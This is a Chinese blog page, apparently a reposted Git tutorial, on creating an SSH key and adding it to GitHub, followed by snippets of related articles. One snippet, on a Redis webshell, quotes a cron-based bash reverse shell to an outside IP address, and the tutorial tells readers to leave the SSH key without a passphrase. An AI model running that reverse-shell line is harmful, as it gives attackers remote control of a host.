`
terry0501
  • 浏览: 313893 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

getbash ssh key config

 
阅读更多

到目前为止,我们已经掌握了如何在Git仓库里对一个文件进行时光穿梭,你再也不用担心文件备份或者丢失的问题了。

可是有用过集中式版本控制系统SVN的童鞋会站出来说,这些功能在SVN里早就有了,没看出Git有什么特别的地方。

没错,如果只是在一个仓库里管理文件历史,Git和SVN真没啥区别。为了保证你现在所学的Git物超所值,将来绝对不会后悔,同时为了打击已经不幸学了SVN的童鞋,本章开始介绍Git的杀手级功能之一(注意是之一,也就是后面还有之二,之三……):远程仓库。

Git是分布式版本控制系统,同一个Git仓库,可以分布到不同的机器上。怎么分布呢?最早,肯定只有一台机器有一个原始版本库,此后,别的机器可以“克隆”这个原始版本库,而且每台机器的版本库其实都是一样的,并没有主次之分。

你肯定会想,至少需要两台机器才能玩远程库不是?但是我只有一台电脑,怎么玩?

其实一台电脑上也是可以克隆多个版本库的,只要不在同一个目录下。不过,现实生活中是不会有人这么傻的在一台电脑上搞几个远程库玩,因为一台电脑上搞几个远程库完全没有意义,而且硬盘挂了会导致所有库都挂掉,所以我也不告诉你在一台电脑上怎么克隆多个仓库。

实际情况往往是这样,找一台电脑充当服务器的角色,每天24小时开机,其他每个人都从这个“服务器”仓库克隆一份到自己的电脑上,并且各自把各自的提交推送到服务器仓库里,也从服务器仓库中拉取别人的提交。

完全可以自己搭建一台运行Git的服务器,不过现阶段,为了学Git先搭个服务器绝对是小题大作。好在这个世界上有个叫GitHub的神奇的网站,从名字就可以看出,这个网站就是提供Git仓库托管服务的,所以,只要注册一个GitHub账号,就可以免费获得Git远程仓库。

在继续阅读后续内容前,请自行注册GitHub账号。由于你的本地Git仓库和GitHub仓库之间的传输是通过SSH加密的,所以,需要一点设置:

第1步:创建SSH Key。在用户主目录下,看看有没有.ssh目录,如果有,再看看这个目录下有没有id_rsaid_rsa.pub这两个文件,如果已经有了,可直接跳到下一步。如果没有,打开Shell(Windows下打开Git Bash),创建SSH Key:

$ ssh-keygen -t rsa -C "youremail@example.com"

你需要把邮件地址换成你自己的邮件地址,然后一路回车,使用默认值即可,由于这个Key也不是用于军事目的,所以也无需设置密码。

如果一切顺利的话,可以在用户主目录里找到.ssh目录,里面有id_rsaid_rsa.pub两个文件,这两个就是SSH Key的秘钥对,id_rsa是私钥,不能泄露出去,id_rsa.pub是公钥,可以放心地告诉任何人。

第2步:登陆GitHub,打开“Account settings”,“SSH Keys”页面:

然后,点“Add SSH Key”,填上任意Title,在Key文本框里粘贴id_rsa.pub文件的内容:

github-addkey-1

点“Add Key”,你就应该看到已经添加的Key:

github-addkey-2

为什么GitHub需要SSH Key呢?因为GitHub需要识别出你推送的提交确实是你推送的,而不是别人冒充的,而Git支持SSH协议,所以,GitHub只要知道了你的公钥,就可以确认只有你自己才能推送。

当然,GitHub允许你添加多个Key。假定你有若干电脑,你一会儿在公司提交,一会儿在家里提交,只要把每台电脑的Key都添加到GitHub,就可以在每台电脑上往GitHub推送了。

最后友情提示,在GitHub上免费托管的Git仓库,任何人都可以看到喔(但只有你自己才能改)。所以,不要把敏感信息放进去。

如果你不想让别人看到Git库,有两个办法,一个是交点保护费,让GitHub把公开的仓库变成私有的,这样别人就看不见了(不可读更不可写)。另一个办法是自己动手,搭一个Git服务器,因为是你自己的Git服务器,所以别人也是看不见的。这个方法我们后面会讲到的,相当简单,公司内部开发必备。

确保你拥有一个GitHub账号后,我们就即将开始远程仓库的学习。

分享到:
评论

相关推荐

    SSH配置和经常出现的报错以及解决方法

    - 对于Windows系统,则可以使用Cygwin或者安装Git Bash等工具来支持SSH服务。 2. **配置SSH服务端:** - 编辑 `/etc/ssh/sshd_config` 文件(对于Debian/Ubuntu系统)或 `/etc/ssh/sshd_config`(对于Red Hat/...

    git+ssh ubuntu 安装配置笔记

    sudo ssh-keygen -t rsa -f ~/.ssh/id_rsa.carol -C "key for client" ``` 3. **设置权限:** 设置.ssh目录及其内容的权限: ```bash sudo mkdir ~/.ssh/ sudo chmod 700 ~/.ssh/ sudo chmod 600 ~/.ssh/...

    Ubuntu下SSH设置.pdf

    SSH服务器的主要配置文件位于 `/etc/ssh/sshd_config`,在此文件中,你可以自定义SSH的服务端口(默认为22),以及其他安全和性能相关的设置。例如,如果你想更改端口,只需将`Port 22`改为所需的端口号,如`Port ...

    关于SSH如何配置的具体说明

    echo "your_public_key" >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys ``` - **配置PuTTY进行公钥认证**:如果你使用的是Windows系统,并且使用PuTTY作为SSH客户端,那么还需要做一些额外的步骤...

    ssh簡單配置+定時操作

    配置SSH主要涉及修改`/etc/ssh/sshd_config`文件。例如,你可以设置允许或禁止root用户登录,修改默认端口等。完成配置后,重启SSH服务使更改生效: ```bash sudo systemctl restart sshd ``` 接下来是SSH客户端的...

    如何做到两台Linux机器之间不使用密码即可通过SSH远程登录

    sudo apt-get install ssh # 对于CentOS/RHEL系统 sudo yum install openssh-clients ``` 接下来,在机器A上执行以下命令生成SSH密钥对: ```bash ssh-keygen -t rsa ``` 这将创建一个名为`id_rsa`的私钥文件和...

    ubuntu的secureCRT的ssh设置

    接下来,可对`ssh-server`的配置文件`/etc/ssh/sshd_config`进行编辑,例如修改默认的SSH服务端口。默认端口为22,可根据需求自定义其他端口号,如222。 修改完配置文件后,务必重启SSH服务以使设置生效。重启命令...

    Go-manssh-命令行方式轻松管理ssh连接别名配置

    2. **配置**: manssh的配置文件默认位于`~/.manssh/config.yaml`,用户可以在此文件中定义SSH连接别名。例如: ```yaml hosts: server1: host: 192.168.1.1 user: root server2: host: example.com user: ...

    github安装配置说明.docx

    - **macOS/Linux用户**:通常情况下,可以通过包管理器直接安装Git,如使用`brew install git`(macOS)或`sudo apt-get install git`(Ubuntu)等命令。 #### 二、配置Git 配置Git的基本信息包括设置用户名和...

    git常用命令总结

    - 将生成的公钥拷贝到GitHub或其他代码托管平台的SSH Key管理页面。 **3. 设置Git全局用户名和邮箱** - 每次提交都将使用这些信息。 ```bash git config --global user.name "gitadmin" git config --global ...

    linux-将你所有的GitHub公共仓库克隆到你的机器上

    复制输出内容,登录GitHub,进入“Settings” > “SSH and GPG keys” > “New SSH key”,粘贴并保存。 接下来,你需要获取你的GitHub用户名,因为克隆仓库时会用到: ```bash git config --global user.name ...

    CentOS7安装k8s-v1.13.4.docx

    cfssl gencert -ca=ca.pem -ca-key=ca-key.pem -config=ca-config.json -profile=k8s etcd-healthcheck-client-csr.json | cfssljson -out etcd-healthcheck-client.crt ``` #### 4. 创建 kubernetes 证书: 生成...

    kubernete 1.13.3安装部署

    最后,使用 `kubectl cluster-info` 和 `kubectl get nodes` 命令检查集群的状态和节点列表。 以上步骤完成了 Kubernetes 1.13.3 的安装和部署过程。需要注意的是,随着技术的发展,具体的命令和配置可能会有所...

    git常用操作命令

    - **Windows**:通过Git Bash执行命令 `ssh-keygen -t rsa -C "your.email@example.com"`。 - **Linux**:直接运行 `ssh-keygen -t rsa -C "your.email@example.com"` 生成密钥对。 - **连接远程仓库** - **添加...

    详解Win10 Bash/WSL调试Linux环境下的.NET Core应用程序

    每次启动Bash进程时都需要重新启动SSH服务: ```bash sudo service ssh start ``` ##### 3.2 创建.NET Core项目 使用Visual Studio 2017创建一个新的.NET Core控制台应用程序,并进行编译。 ##### 3.3 附加调试 在...

    树莓派3B+ ubuntu mate 18.04 + turtlebot3

    - 通过树莓派配置工具开启SSH服务:`sudo raspi-config` -> `Interfacing Options` -> `SSH` -> `Enable SSH` - 通过Windows远程登录树莓派,推荐使用vim编辑器而非gedit。 5. **用户权限管理:** - 切换至超级...

    redis权限webshell1

    接下来,攻击者设置 key(0) 为 bash 反弹 shell 的脚本,每分钟执行一次,在自己服务器上监听 7890 端口: `set 0 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/103.21.140.84/7890 0>&1\n\n"` 攻击者还需要设置...

    openldap安装流程

    openssl req -newkey rsa:2048 -x509 -nodes -days 365 -keyout /etc/ssl/private/slapd.key -out /etc/ssl/certs/slapd.crt ``` 然后编辑`/etc/ldap/slapd.conf`(或`/etc/slapd.d/`下的配置文件),启用TLS,并...

    树莓派基础配置系统安装及自启动java程序

    - 执行命令`curl -s get.pi4j.com | sudo bash`进行安装。 - 安装完成后,可以在`/opt/pi4j/lib`目录找到相关的库文件,在`/opt/pi4j/examples`目录找到官方示例代码。 - 可以通过命令`./build`编译源码,或者...

Global site tag (gtag.js) - Google Analytics